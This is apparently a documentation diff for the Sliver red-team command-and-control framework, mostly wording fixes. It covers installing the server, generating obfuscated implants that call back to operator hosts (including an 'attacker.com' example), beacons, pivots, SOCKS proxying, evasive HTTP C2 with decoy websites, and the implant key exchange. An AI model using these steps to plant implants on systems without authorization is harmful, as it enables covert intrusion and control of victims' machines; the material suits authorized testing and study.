For a Linux server, you can also use the one liner installation `curl https://sliver.sh/install|sudo bash`
|
||||
For a Linux server, you can also use the one-liner installation `curl https://sliver.sh/install|sudo bash`
|
||||
|
||||
```asciinema
|
||||
{"src": "/asciinema/install-1.cast", "cols": "132"}
|
||||
```
|
||||
|
||||
If you install Sliver via the one liner, you can check that the server service is running using `systemctl status sliver`. Note that the Sliver service is not configured to start automatically on boot by default (i.e., if you reboot the server you'll need to start the service again using `systemctl start sliver`):
|
||||
If you install Sliver via the one-liner, you can check that the server service is running using `systemctl status sliver`. Note that the Sliver service is not configured to start automatically on boot by default (i.e., if you reboot the server you'll need to start the service again using `systemctl start sliver`):
|
||||
|
||||
```asciinema
|
||||
{"src": "/asciinema/service-status-1.cast", "cols": "132", "rows": "14", "idleTimeLimit": 8}
|
||||
@@ -18,23 +18,7 @@ If you install Sliver via the one liner, you can check that the server service i
|
||||
|
||||
#### System Requirements
|
||||
|
||||
The Sliver server can run effectively on almost any system, however we recommend 8GB or more of RAM for compiling obfuscated implants as the obfuscator may consume large amounts of memory depending on compile-time options. You can leverage [external builders](/docs?name=External+Builders) in conjunction with low resource systems to work around hardware limitations of the server (e.g. a low powered VPS). Symbol obfuscation can also be disabled per-build, see `generate --help` in the Sliver console.
|
||||
|
||||
### MinGW Setup (Optional, Recommended)
|
||||
|
||||
In order to enable shellcode/staged/DLL payloads you'll need to install MinGW on the server (clients connecting to the server do not need it installed). By default Sliver will look in the usual places for MinGW binaries but you can override this using the [environment variables](/docs?name=Environment+Variables).
|
||||
|
||||
#### Linux (Debian-based)
|
||||
|
||||
```
|
||||
apt install git mingw-w64
|
||||
```
|
||||
|
||||
#### MacOS
|
||||
|
||||
```
|
||||
brew install git mingw-w64
|
||||
```
|
||||
The Sliver server can run effectively on almost any system, however we recommend 8GB or more of RAM for compiling obfuscated implants as the obfuscator may consume large amounts of memory depending on compile-time options. You can leverage [external builders](/docs?name=External+Builders) in conjunction with low-resource systems to work around hardware limitations of the server (e.g. a low-powered VPS). Symbol obfuscation can also be disabled per-build, see `generate --help` in the Sliver console.
|
||||
|
||||
**Note:** On MacOS you may need to configure [environment variables](/docs?name=Environment+Variables) for MinGW.
|
||||
|
||||
@@ -46,9 +30,9 @@ We strongly recommend using the [nightly framework installers](https://github.co
|
||||
|
||||
## Implants: Beacon vs. Session
|
||||
|
||||
Sliver is generally designed as a stage 2 payload, and as such we've not yet endeavored to minimize the implant's file size. Depending on how many protocols you enable in your implant the file can get large, we strongly advise the use of [stagers](/docs?name=Stagers) for actual operations (at least in contexts where one may be concerned about file size). Such is the tradeoff for getting easy static compilation in Golang.
|
||||
Sliver is generally designed as a stage 2 payload, and as such we have not yet endeavored to minimize the implant's file size. Depending on how many protocols you enable in your implant the file can get large, we strongly advise the use of [stagers](/docs?name=Stagers) for actual operations (at least in contexts where one may be concerned about file size). Such is the tradeoff for getting easy static compilation in Go.
|
||||
|
||||
Sliver implants in v1.5 and later support two modes of operation: "beacon mode" and "session mode." Beacon mode implements an asynchronous communication style where the implant periodically checks in with the server retrieves tasks, executes them, and returns the results. In "session mode" the implant will create an interactive real time session using either a persistent connection or using long polling depending on the underlying C2 protocol.
|
||||
Sliver implants support two modes of operation: "beacon mode" and "session mode." Beacon mode implements an asynchronous communication style where the implant periodically checks in with the server, retrieves tasks, executes them, and returns the results. In "session mode" the implant will create an interactive real-time session using either a persistent connection or long polling depending on the underlying C2 protocol.
|
||||
|
||||
Beacons may be tasked to open interactive sessions over _any C2 protocol they were compiled with_ using the `interactive` command, i.e., if a beacon implant was not compiled with HTTP C2 it cannot open a session over HTTP (use the `close` command to close the session). Currently implants initially compiled for session mode cannot be converted to beacon mode (we may add this feature later). Take this into account during operational planning.
|
||||
|
||||
@@ -70,7 +54,7 @@ Generating implants is done using the `generate` command, you must specify at le
|
||||
{"src": "/asciinema/sliver-generate-2.cast", "cols": "132"}
|
||||
```
|
||||
|
||||
Sliver implants are cross-platform, you can change the compiler target with the `--os` flag. Sliver accepts any Golang GOOS and GOARCH as arguments `--os` and `--arch`, we officially only support Windows, MacOS, and Linux, but you can at least attempt to compile for any other [valid Golang GOOS/GOARCH](https://gist.github.com/asukakenji/f15ba7e588ac42795f421b48b8aede63) combination. The `generate info` command will also estimate what compiler targets can be used based on the server's host operating system and available cross-compilers.
|
||||
Sliver implants are cross-platform, you can change the compiler target with the `--os` flag. Sliver accepts any Go GOOS and GOARCH as arguments `--os` and `--arch`, we officially only support Windows, MacOS, and Linux, but you can at least attempt to compile for any other [valid Go GOOS/GOARCH](https://gist.github.com/asukakenji/f15ba7e588ac42795f421b48b8aede63) combination. The `generate info` command will also estimate what compiler targets can be used based on the server's host operating system and available cross-compilers.
|
||||
|
||||
Some commands/features may not work on "unsupported" platforms.
|
||||
|
||||
@@ -98,7 +82,7 @@ MUSHY_TRADITIONALISM windows/amd64 false SHARED_LIB
|
||||
SICK_SPY darwin/amd64 false EXECUTABLE
|
||||
```
|
||||
|
||||
If you need to re-download a previously generated implant use the `regenerate` command, note that positional arguments (the implant name) comes after the command flags (e.g., `--save`):
|
||||
If you need to re-download a previously generated implant use the `regenerate` command, note that positional arguments (the implant name) come after the command flags (e.g., `--save`):
|
||||
|
||||
```
|
||||
sliver > regenerate --save /Users/moloch/Desktop NEW_GRAPE
|
||||
@@ -108,7 +92,7 @@ sliver > regenerate --save /Users/moloch/Desktop NEW_GRAPE
|
||||
|
||||
#### Additional Details
|
||||
|
||||
For addition details about each C2 please see:
|
||||
For additional details about each C2 please see:
|
||||
|
||||
- [HTTP(S) C2](/docs?name=HTTPS+C2)
|
||||
- [DNS C2](/docs?name=DNS+C2)
|
||||
@@ -152,11 +136,11 @@ sliver (LONG_DRAMATURGE) > ls
|
||||
LONG_DRAMATURGE 6.3 MiB
|
||||
```
|
||||
|
||||
If you're having problems getting callbacks please see our [troubleshooting guide](/docs?name=Troubleshooting), (TL;DR add the `--debug` flag when generating an implant).
|
||||
If you're having problems getting callbacks please see our [troubleshooting guide](/docs?name=Troubleshooting) (TL;DR: add the `--debug` flag when generating an implant).
|
||||
|
||||
### Interacting with Beacons
|
||||
|
||||
Upon initial execution the beacon will register itself with the C2 server and will show up under `beacons`, each instance of a beacon process will get its own id and this id is used for the lifetime of that process (i.e., across key renegotiation, etc). The "Next Check-in" value includes any random jitter (by default up to 30s), and you can also watch your beacons in real time using the `beacons watch` command. Remember to leverage tab complete for the uuid when using `use`:
|
||||
Upon initial execution the beacon will register itself with the C2 server and will show up under `beacons`, each instance of a beacon process will get its own ID and this ID is used for the lifetime of that process (i.e., across key renegotiation, etc). The "Next Check-in" value includes any random jitter (by default up to 30s), and you can also watch your beacons in real time using the `beacons watch` command. Remember to leverage tab-complete for the UUID when using `use`:
|
||||
|
||||
```
|
||||
[*] Beacon 8c465643 RELATIVE_ADVERTISEMENT - 192.168.1.178:54701 (WIN-1TT1Q345B37) - windows/amd64 - Sat, 22 Jan 2022 14:40:55 CST
|
||||
@@ -174,7 +158,7 @@ Upon initial execution the beacon will register itself with the C2 server and wi
|
||||
[server] sliver (RELATIVE_ADVERTISEMENT) >
|
||||
```
|
||||
|
||||
You should see a blue prompt indicating that we're interacting with a beacon as apposed to a session (red). Commands are executed the same way as a session, though not all commands are supported in beacon mode.
|
||||
You should see a blue prompt indicating that we're interacting with a beacon as opposed to a session (red). Commands are executed the same way as a session, though not all commands are supported in beacon mode.
|
||||
|
||||
```
|
||||
[server] sliver (RELATIVE_ADVERTISEMENT) > ls
|
||||
@@ -241,7 +225,7 @@ sliver > generate --mtls foo.com,bar.com,baz.com --strategy r
|
||||
|
||||
## What Next?
|
||||
|
||||
Most commands have a `--help` and support tab complete, you may also find the following wiki articles of interest:
|
||||
Most commands have a `--help` and support tab-complete, you may also find the following wiki articles of interest:
|
||||
|
||||
- [Armory](/docs?name=Armory)
|
||||
- [Stagers](/docs?name=Stagers)
|
||||
|
||||
@@ -2,7 +2,7 @@ Sliver supports proxy-aware C2 over both HTTP and HTTPS, however since Sliver do
|
||||
|
||||
## Generate the Implant
|
||||
|
||||
Sliver implants are compiled with a baked-in (but obfuscated of course) server domain that they will reach back out to. To generate a sliver implant that communicates to a server at `example.com` run the following:
|
||||
Sliver implants are compiled with a baked-in (but obfuscated) server domain that they will reach back out to. To generate a Sliver implant that communicates to a server at `example.com` run the following:
|
||||
|
||||
#### Basic Example
|
||||
|
||||
@@ -28,7 +28,7 @@ sliver > generate --http example.com,attacker.com
|
||||
|
||||
#### URL Prefixes and Other Options
|
||||
|
||||
Some additional options may be passed to the `--http` C2 flag such as URL path prefixes. Sliver's C2 request URLs are randomly generated as described below, however the operator may specify a path to prepend to every request's path, this can be useful when leveraging HTTP re-directors, etc. To add a URL prefix simply add a path to the domain as shown below:
|
||||
Some additional options may be passed to the `--http` C2 flag such as URL path prefixes. Sliver's C2 request URLs are randomly generated as described below, however the operator may specify a path to prepend to every request's path, this can be useful when leveraging HTTP redirectors, etc. To add a URL prefix simply add a path to the domain as shown below:
|
||||
|
||||
```
|
||||
sliver > generate --http example.com/foo/bar
|
||||
@@ -67,7 +67,7 @@ The priority of retrieval is the following:
|
||||
|
||||
#### NTLM/Kerberos Proxy Authentication
|
||||
|
||||
You can use [advanced options](/docs?name=C2+Advanced+Options) to enable the use of the `wininet` HTTP library, which supports NTLM/Kerberos authentication (Windows only). Using this library tends to be a little less stable (we have to covert Go calls to native DLL calls) and is generally more susceptible to introspection by security products as these functions are well-known and easy to hook. However, if you need NTLM/Kerberos authentication you don't have much of a choice.
|
||||
You can use [advanced options](/docs?name=C2+Advanced+Options) to enable the use of the `wininet` HTTP library, which supports NTLM/Kerberos authentication (Windows only). Using this library tends to be a little less stable (we have to convert Go calls to native DLL calls) and is generally more susceptible to introspection by security products as these functions are well-known and easy to hook. However, if you need NTLM/Kerberos authentication you don't have much of a choice.
|
||||
|
||||
## Start the Listener
|
||||
|
||||
@@ -91,9 +91,9 @@ Sliver can stand up a website on your HTTP(S) listener in order to make the serv
|
||||
websites --website fake-blog --web-path / --content ./index.html add
|
||||
```
|
||||
|
||||
Each "website" is identified by a name (`fake-blog` in the example above) and is essentially just key<->value pairs request paths (e.g. `/foo/bar.html`) and response's content. Currently we don't support any regex matching for paths, it has to be an exact match, so keep that in mind if you're linking to content.
|
||||
Each "website" is identified by a name (`fake-blog` in the example above) and is essentially just key/value pairs of request paths (e.g. `/foo/bar.html`) and response content. Currently we don't support any regex matching for paths, it has to be an exact match, so keep that in mind if you're linking to content.
|
||||
|
||||
**Note:** C2 related messages are identified, intercepted, and responded to prior to checking for user-provided `website` content, so you can actually map content to any URL used for C2.
|
||||
**Note:** C2-related messages are identified, intercepted, and responded to prior to checking for user-provided `website` content, so you can actually map content to any URL used for C2.
|
||||
|
||||
To use your website with an HTTP(S) listener, specify it using `--website` when you start the listener:
|
||||
|
||||
@@ -119,7 +119,7 @@ sliver > https --domain example.com --cert ./cert.pem --key ./key.pem --website
|
||||
|
||||
## Modifying C2 Traffic
|
||||
|
||||
Starting in v1.5 you can make extensive customizations to the HTTP C2 traffic generated by the server and implant by modifying the HTTP C2 configuration file, which by default is located at `~/.sliver/configs/http-c2.json`. The configuration file options are described below:
|
||||
You can make extensive customizations to the HTTP C2 traffic generated by the server and implant by modifying the HTTP C2 configuration file, which by default is located at `~/.sliver/configs/http-c2.json`. The configuration file options are described below:
|
||||
|
||||
⚠️ **WARNING:** Making changes to this file may break compatibility with existing implants, therefore you should make your changes to this configuration _prior to generating any implants_.
|
||||
|
||||
@@ -159,13 +159,13 @@ Starting in v1.5 you can make extensive customizations to the HTTP C2 traffic ge
|
||||
|
||||
# Under the Hood
|
||||
|
||||
This section covers the "under the hood" implementation details of Sliver's HTTP C2, and may be useful for users want to understand, extend, or are simply curious about Sliver's design.
|
||||
This section covers the "under the hood" implementation details of Sliver's HTTP C2, and may be useful for users who want to understand, extend, or are simply curious about Sliver's design.
|
||||
|
||||
### Design Goals
|
||||
|
||||
The primary goals of the existing HTTP C2 design are to:
|
||||
|
||||
- **Reliable Connections** The implants foremost goal is to get a connection out of the network, regardless of the environment's configuration.
|
||||
- **Reliable Connections** The implant's foremost goal is to get a connection out of the network, regardless of the environment's configuration.
|
||||
- **Data Security** I won't cover this here, but [click here](/docs?name=Transport+Encryption) for details.
|
||||
- **Network Layer Evasion** C2 messages should be hard to detect from the network layer, this is done via "Procedural C2" as detailed below.
|
||||
|
||||
@@ -179,7 +179,7 @@ Each implant is also only embedded with a randomly generated subset of the serve
|
||||
|
||||
The high level process to generate and send a standard session request is (note: this is all after the key exchange, which I'm skipping for now):
|
||||
|
||||
1. Randomly generate the request path using built-in path segments. The path will have one of the following extensions, which indicate the type of request. This is distinct from a _message type_, the message type (i.e., the type of command) is in the encrypted so it cannot be determined without the [session key](/docs?name=Transport+Encryption). Everything in the path except for the extension is ignored by the server.
|
||||
1. Randomly generate the request path using built-in path segments. The path will have one of the following extensions, which indicate the type of request. This is distinct from a _message type_, the message type (i.e., the type of command) is in the encrypted payload so it cannot be determined without the [session key](/docs?name=Transport+Encryption). Everything in the path except for the extension is ignored by the server.
|
||||
|
||||
In the default configuration:
|
||||
|
||||
|
||||
@@ -0,0 +1,18 @@
|
||||
This [Minisign](https://jedisct1.github.io/minisign/) key is used to sign binary artifacts from the Sliver Authors specifically. As anyone is welcome to modify and redistribute the project under the terms of the GPLv3 license an artifact that is not signed by this specific key is not necessarily illegitimate or malicious, it simply means it's not from the original project authors.
|
||||
|
||||
|
||||
## Public Key
|
||||
|
||||
```
|
||||
RWTZPg959v3b7tLG7VzKHRB1/QT+d3c71Uzetfa44qAoX5rH7mGoQTTR
|
||||
```
|
||||
|
||||
[https://sliver.sh/minisign.pub](/minisign.pub)
|
||||
|
||||
## Verification
|
||||
|
||||
Minisign is available in most Linux package managers, there is also a [Go implementation](https://github.com/aead/minisign).
|
||||
|
||||
```
|
||||
minisign -Vm sliver-server -P RWTZPg959v3b7tLG7VzKHRB1/QT+d3c71Uzetfa44qAoX5rH7mGoQTTR
|
||||
```
|
||||
@@ -1,4 +1,4 @@
|
||||
Multiplayer-mode allows multiple operators (players) to connect to the same Sliver server and collaborate on engagements. The easiest way to setup a server for multiplayer is to use the [Linux install script](/docs?name=Linux+Install+Script) which will configure the server as a systemd service. However, any Sliver server binary supports multiplayer mode.
|
||||
Multiplayer-mode allows multiple operators (players) to connect to the same Sliver server and collaborate on engagements. The easiest way to set up a server for multiplayer is to use the [Linux install script](/docs?name=Linux+Install+Script) which will configure the server as a systemd service. However, any Sliver server binary supports multiplayer mode.
|
||||
|
||||
```
|
||||
┌──────────────────┐ C2
|
||||
@@ -45,7 +45,7 @@ From the server use the `new-operator` command to generate a new operator config
|
||||
|
||||
**IMPORTANT:** Before clients can connect to a server you must start an RPC listener with the `multiplayer` command. The default port is TCP/31337.
|
||||
|
||||
You can now give this configuration file `moloch_example.com.cfg` to the operator and they can connect to the server using the `sliver-client` binary. The sliver client will look for configuration files in `~/.sliver-client/configs/` or you can import configs using the `import` cli. The configs directory can contain multiple configs for different servers.
|
||||
You can now give this configuration file `moloch_example.com.cfg` to the operator and they can connect to the server using the `sliver-client` binary. The Sliver client will look for configuration files in `~/.sliver-client/configs/` or you can import configs using the `import` CLI. The configs directory can contain multiple configs for different servers.
|
||||
|
||||
```
|
||||
$ ./sliver-client import ./moloch_example.com.cfg
|
||||
@@ -68,9 +68,7 @@ The installation scripts by default will place the `sliver-server` binary in `/r
|
||||
|
||||
### Tailscale Integration
|
||||
|
||||
⚠️ This section describes an unreleased feature from an upcoming version ⚠️
|
||||
|
||||
Starting in v1.6 Sliver supports multiplayer integration with [Tailscale](https://tailscale.com/), which is an excellent option when wanting to maintain operational security.
|
||||
Sliver v1.6 supports multiplayer integration with [Tailscale](https://tailscale.com/), which is an excellent option when wanting to maintain operational security.
|
||||
|
||||
```
|
||||
$ export TS_AUTHKEY=<tailscale authkey>
|
||||
|
||||
@@ -1,8 +1,8 @@
|
||||
⚠️ **IMPORTANT:** Pivots in Sliver are used for specifically pivoting C2 traffic, not to be confused with port forwarding `portfwd`, which is used for tunneling generic tcp connections into a target environment.
|
||||
⚠️ **IMPORTANT:** Pivots in Sliver are used for specifically pivoting C2 traffic, not to be confused with port forwarding `portfwd`, which is used for tunneling generic TCP connections into a target environment.
|
||||
|
||||
⚠️ **IMPORTANT:** Pivots can only be used in "session mode" (we may add beacon support later)
|
||||
|
||||
Pivots allow you to create "chains" of implant connections, for example if you're trying to deploy a pivot into a highly restricted subnet that cannot route traffic directly to the internet you can instead create an implant that egresses all traffic via another implant in a less restricted subnet. Sliver v1.5 and later pivots can be arbitrarily nested, for example a pivot A can connect thru pivot B to a third egress implant.
|
||||
Pivots allow you to create "chains" of implant connections, for example if you're trying to deploy a pivot into a highly restricted subnet that cannot route traffic directly to the internet you can instead create an implant that egresses all traffic via another implant in a less restricted subnet. Pivots can be arbitrarily nested, for example a pivot A can connect through pivot B to a third egress implant.
|
||||
|
||||
In Sliver you use an existing session to create a "pivot listener" and then generate new pivots that can connect back to that listener, just as you would with other C2 protocols/endpoints.
|
||||
|
||||
@@ -42,7 +42,7 @@ Named pipe pivots are only supported on Windows. Select a session to start a nam
|
||||
[*] Started named pipe pivot listener \\.\pipe\foobar with id 1
|
||||
```
|
||||
|
||||
Next we generate a named pipe implant using `generate --named-pipe 192.168.1.1/pipe/foobar` note here we may need to specify the IP address of the listener: `192.168.1.1`. The syntax is `<host>/pipe/<pipe name>`, note that `.` is equivalent to `127.0.0.1`. This is just the standard syntax for Windows named pipes.
|
||||
Next we generate a named pipe implant using `generate --named-pipe 192.168.1.1/pipe/foobar`. Note that we may need to specify the IP address of the listener: `192.168.1.1`. The syntax is `<host>/pipe/<pipe name>`, note that `.` is equivalent to `127.0.0.1`. This is just the standard syntax for Windows named pipes.
|
||||
|
||||
```
|
||||
[*] Session 13f9ee6b ROUND_ATELIER - 192.168.1.178:59290->WARM_DRIVEWAY-> (WIN-1TT1Q345B37) - windows/amd64 - Mon, 07 Feb 2022 10:15:11 CST
|
||||
@@ -55,4 +55,4 @@ Next we generate a named pipe implant using `generate --named-pipe 192.168.1.1/p
|
||||
a2615359 WARM_DRIVEWAY mtls 192.168.1.178:59290 WIN-1TT1Q345B37 WIN-1TT1Q345B37\Administrator windows/amd64 Mon, 07 Feb 2022 10:15:11 CST [ALIVE]
|
||||
```
|
||||
|
||||
⚠️ **IMPORTANT:** In some environments you may need to use the `--allow-all` flag when starting the pviot listener to allow all users/groups
|
||||
⚠️ **IMPORTANT:** In some environments you may need to use the `--allow-all` flag when starting the pivot listener to allow all users/groups.
|
||||
@@ -3,7 +3,7 @@ Sliver provides two mechanisms for port forwarding to tunnel additional connecti
|
||||
- `portfwd` - This command (available on all C2s) uses Sliver's in-band tunnels to transfer data between your local machine and the implant network (i.e., if you're using HTTP C2 all port forwarded traffic is tunneled over HTTP, same for mTLS/DNS/etc.)
|
||||
- `wg-portfwd` - This command uses WireGuard port forwarding, and is only available when using WireGuard C2.
|
||||
|
||||
**NOTE:** Generally speaking `wg-portfwd` is faster and more reliable, we recommend using it whenever possible. Some protocols may be unstable, or may not work when tunneled via `portfwd`. However, `wg-portfwd` does requires a little extra setup (see below).
|
||||
**NOTE:** Generally speaking `wg-portfwd` is faster and more reliable, we recommend using it whenever possible. Some protocols may be unstable, or may not work when tunneled via `portfwd`. However, `wg-portfwd` does require a little extra setup (see below).
|
||||
|
||||
## In-Band Tunneled Port Forwarding
|
||||
|
||||
@@ -19,7 +19,7 @@ By default all port forwards will be bound to the `127.0.0.1` interface, but you
|
||||
|
||||
#### Reverse Port Forwarding
|
||||
|
||||
As of v1.5.27 Sliver also supports reverse port forwarding via the `rportfwd` command.
|
||||
Sliver also supports reverse port forwarding via the `rportfwd` command.
|
||||
|
||||
## WireGuard Port Forwarding
|
||||
|
||||
@@ -43,7 +43,7 @@ ID Name Protocol Port
|
||||
1 wg udp 53
|
||||
```
|
||||
|
||||
Next, using Sliver you can create WireGuard client configuration using the `wg-config` command (you can use `--save` to write the configuration directly to a file):
|
||||
Next, using Sliver you can create a WireGuard client configuration using the `wg-config` command (you can use `--save` to write the configuration directly to a file):
|
||||
|
||||
```
|
||||
sliver > wg-config
|
||||
|
||||
@@ -1,8 +1,8 @@
|
||||
Sliver supports two types of SOCKS5 proxies, an "in-band" proxy that tunnels though any C2 protocol, and WireGuard SOCKS proxy (only available when using WireGuard C2).
|
||||
Sliver supports two types of SOCKS5 proxies, an "in-band" proxy that tunnels through any C2 protocol, and a WireGuard SOCKS proxy (only available when using WireGuard C2).
|
||||
|
||||
## In-band SOCKS5
|
||||
|
||||
An in-band reverse SOCKS5 proxy is supported in Sliver versions 1.5 and later. Note that the SOCKS proxy feature can only be used on sessions (i.e., interactive sessions) and not beacons.
|
||||
An in-band reverse SOCKS5 proxy can only be used on sessions (i.e., interactive sessions) and not beacons.
|
||||
|
||||
```
|
||||
sliver (UGLY_SCARIFICATION) > socks5 add
|
||||
|
||||
@@ -1,10 +1,8 @@
|
||||
⚠️ This page describes an unreleased feature from an upcoming version ⚠️
|
||||
Sliver v1.6 supports user-defined "Traffic Encoders," which can be used to arbitrarily modify the Sliver implant's network communication over HTTP(S). Traffic Encoders are [Wasm-based](https://webassembly.org/) callback functions that encode/decode network traffic between the implant and the server. Traffic Encoders can be written in any language that compiles to [Wasm](https://webassembly.org/). Traffic Encoders are supported on all platforms and CPU architectures that Sliver can target, though performance may vary significantly.
|
||||
|
||||
As of v1.6.0 Sliver supports user-defined "Traffic Encoders," which can be used to arbitrarily modify the Sliver implant's network communication over HTTP(S). Traffic Encoders are [Wasm-based](https://webassembly.org/) callback functions that encode/decode network traffic between the implant and the server. Traffic encoders can be written in any language that compiles to [Wasm](https://webassembly.org/). Traffic encoders are supported on all platforms and CPU architectures that Sliver can target, though performance may vary significantly.
|
||||
[Examples](https://github.com/BishopFox/sliver/tree/v1.6.0/server/assets/traffic-encoders) are provided in this repository of a [Rust](https://www.rust-lang.org/)-based and a [TinyGo](https://tinygo.org/)-based encoder. For performance reasons we recommend implementing Traffic Encoders in Rust.
|
||||
|
||||
[Examples](https://github.com/BishopFox/sliver/tree/v1.6.0/master/server/assets/traffic-encoders) are provided in this repository of a [Rust](https://www.rust-lang.org/)-based and a [TinyGo](https://tinygo.org/)-based encoder. For performance reasons we recommend implementing Traffic Encoders in Rust.
|
||||
|
||||
For performance reasons, by default C2 messages over 2Mb in size are NOT passed through user-defined Traffic Encoders, but instead always use a native built-in encoder; this limit can be configured at implant generation-time.
|
||||
For performance reasons, by default C2 messages over 2 MB in size are NOT passed through user-defined Traffic Encoders, but instead always use a native built-in encoder; this limit can be configured at implant generation-time.
|
||||
|
||||
## Traffic Encoder Specification
|
||||
|
||||
@@ -46,7 +44,7 @@ rand() uint64
|
||||
time() int64
|
||||
```
|
||||
|
||||
The `log` function takes a pointer to a buffer and the size of the buffer, and logs the contents of the buffer to the console if the implant is in debug mode. On the server will also log the contents if configured to log at the DEBUG level or higher.
|
||||
The `log` function takes a pointer to a buffer and the size of the buffer, and logs the contents of the buffer to the console if the implant is in debug mode. The server will also log the contents if configured to log at the DEBUG level or higher.
|
||||
|
||||
The `rand()` function returns 64-bits of cryptographically secure random data.
|
||||
|
||||
|
||||
@@ -1,8 +1,8 @@
|
||||
**⚠️ NOTE:** This document does not apply when mTLS or WireGuard are used.
|
||||
|
||||
# Versions 1.5.40+
|
||||
# Sliver v1.6.x
|
||||
|
||||
The following keys are embedded in each implant at compile time, the server also stores these values in its database in addition to the SHA2-256 hash of the implant's peer public key:
|
||||
The following keys are embedded in each implant at compile time; the server also stores these values in its database, along with the SHA2-256 hash of the implant's peer public key:
|
||||
|
||||
1. Age public key of server
|
||||
2. Age implant "peer" public key
|
||||
@@ -16,12 +16,12 @@ The following keys are embedded in each implant at compile time, the server also
|
||||
2. Implant generates:
|
||||
|
||||
- Calculate the HMAC-SHA2-256 of the session key, where the HMAC key is the SHA2-256 hash of the peer private key
|
||||
- Uses Age to encrypt session key and HMAC-SHA256 with server's public key
|
||||
- Uses Age to encrypt the session key and HMAC-SHA256 with the server's public key
|
||||
|
||||
3. Implant sends `[SHA2-256 Hash of Public Key | Age Ciphertext ]` to server.
|
||||
4. Server decrypts message with its private key
|
||||
5. Server generates a session ID, encrypts it with the session key using ChaCha20Poly1305, and sends it back
|
||||
6. All messages are encrypted with the session key using ChaCha20Poly1305 and associated with via the session ID
|
||||
6. All messages are encrypted with the session key using ChaCha20Poly1305 and associated with the session ID
|
||||
7. Each side stores a SHA2-256 hash of each message's ciphertext to detect replayed messages
|
||||
|
||||
### Implant to Implant Key Exchange (Pivots)
|
||||
@@ -36,65 +36,12 @@ The following keys are embedded in each implant at compile time, the server also
|
||||
8. The initiator decrypts the session key using Age
|
||||
9. All messages are encrypted with the session key using ChaCha20Poly1305
|
||||
10. Each side stores a SHA2-256 hash of each message's ciphertext to detect replayed messages
|
||||
11. The initiator then performs a key exchange with the server, using the server's embedded ECC public key, using the same pattern as described above. This prevents upstream implants (i.e. the listener) from being able to decrypt any traffic sent between the initiator and the server.
|
||||
11. The initiator then performs a key exchange with the server using the server's embedded Age public key and the same pattern described above. This prevents upstream implants (i.e. the listener) from being able to decrypt any traffic sent between the initiator and the server.
|
||||
|
||||
### Known Limitations
|
||||
|
||||
There are some known limitations, if you spot any or have ideas on improvements please file a ticket or contact us.
|
||||
|
||||
1. Perfect Forward Secrecy: We do get some forward secrecy, since only the public key encrypted version of the session key is sent over the wire; therefore recovery of the hard coded implant keys from the binary should not result in recovery of the session key. Only when the server's private key is compromised can the session key be recovered, which we currently don't consider to be a problem.
|
||||
2. Implants can potentially be tracked via the hash of their public key. However, this value is implant specific, so in order to track the implant this way you'd have to already have a copy of the specific implant you want to track. At which point more effective tracking mechanisms like YARA rules could be employed.
|
||||
1. Perfect Forward Secrecy: We do get some forward secrecy, since only the public-key-encrypted version of the session key is sent over the wire; therefore, recovery of the hard-coded implant keys from the binary should not result in recovery of the session key. Only when the server's private key is compromised can the session key be recovered, which we currently don't consider to be a problem.
|
||||
2. Implants can potentially be tracked via the hash of their public key. However, this value is implant-specific, so in order to track the implant this way you'd have to already have a copy of the specific implant you want to track. At which point more effective tracking mechanisms like YARA rules could be employed.
|
||||
3. While messages cannot be replayed, valid messages can potentially be re-ordered.
|
||||
|
||||
# Versions 1.5.0+
|
||||
|
||||
⚠️ This version of the key exchange is [vulnerable to MitM attack](https://github.com/BishopFox/sliver/security/advisories/GHSA-8jxm-xp43-qh3q)
|
||||
|
||||
The following keys are embedded in each implant at compile time, the server also stores these values in its database in addition to the SHA2-256 hash of the implant's public key:
|
||||
|
||||
1. ECC public key of server
|
||||
2. ECC implant public key
|
||||
3. ECC implant private key
|
||||
4. A minisign signature of the implant ECC public key (signed by server's private key)
|
||||
5. The server's minisign public key
|
||||
6. TOTP shared secret (server-wide shared secret)
|
||||
|
||||
### Server to Implant Key Exchange
|
||||
|
||||
1. Implant generates random 256-bit symmetric "session key"
|
||||
2. Implant generates:
|
||||
|
||||
- Current TOTP code using SHA2-256, Unix UTC, 8-digit numeric code
|
||||
- SHA2-256 hash of its own ECC public key
|
||||
- Uses Nacl Box (Curve25519, XSalsa20, and Poly1305) to encrypt session key with server's public ECC key
|
||||
|
||||
3. Implant sends `[ TOTP Code | SHA2-256 Hash of Public Key | Nacl Box Ciphertext ]` to server, note: in this scheme no ECC keys (even public keys) are ever sent over the wire, instead we only send the hash of the public key.
|
||||
4. Server verifies TOTP Code (can optionally be disabled per listener server-side).
|
||||
5. Server uses the SHA2-256 hash of public key to look up the implant's full ECC public key in its database
|
||||
6. Decrypts Nacl with sender public key + server private key
|
||||
7. Server generates a session ID, encrypts it with the session key using ChaCha20Poly1305, and sends it back
|
||||
8. All messages are encrypted with the session key using ChaCha20Poly1305 and associated with via the session ID
|
||||
9. Each side stores a SHA2-256 hash of each message's ciphertext to detect replayed messages
|
||||
|
||||
### Implant to Implant Key Exchange (Pivots)
|
||||
|
||||
1. An implant starts a pivot listener (the listener)
|
||||
2. Another implant connects to the listener (the initiator)
|
||||
3. The initiator sends its ECC public key and the minisign signature of its public key
|
||||
4. The listener verifies the initiator's public key is signed by the listener's server's minisign public key
|
||||
5. The listener generates a random session key and encrypts it with the initiator's verified public key
|
||||
6. The listener sends its ECC public key, the minisign signature of its public key, and the encrypted session key back to the initiator
|
||||
7. The initiator verifies the listener's public key is signed by the initiator's server's minisign public key
|
||||
8. The initiator decrypts the session key using Nacl Box (Curve25519, XSalsa20, and Poly1305)
|
||||
9. All messages are encrypted with the session key using ChaCha20Poly1305
|
||||
10. Each side stores a SHA2-256 hash of each message's ciphertext to detect replayed messages
|
||||
11. The initiator then performs a key exchange with the server, using the server's embedded ECC public key, using the same pattern as described above but without the TOTP code. This prevents upstream implants (i.e. the listener) from being able to decrypt any traffic sent between the initiator and the server.
|
||||
|
||||
### Known Limitations
|
||||
|
||||
There are some known limitations, if you spot any or have ideas on improvements please file a ticket or contact us.
|
||||
|
||||
1. Perfect Forward Secrecy: We do get some forward secrecy, since only the public key encrypted version of the session key is sent over the wire; therefore recovery of the hard coded implant keys from the binary should not result in recovery of the session key. Only when the server's private key is compromised can the session key be recovered, which we currently don't consider to be a problem.
|
||||
2. Implants can potentially be tracked via the hash of their public key. However, this value is implant specific, so in order to track the implant this way you'd have to already have a copy of the specific implant you want to track. At which point more effective tracking mechanisms like YARA rules could be employed.
|
||||
3. Session initialization messages can be replayed within the validity period of the TOTP value. TOTP values are valid for 30 seconds + 30 second margin of error, so the session initialization message can be replayed within about ~60 second period without obtaining a new TOTP code. However, the implant must use the session key to register itself post-key exchange so replayed session initialization does not appear to be a security risk even outside of the restrictive window.
|
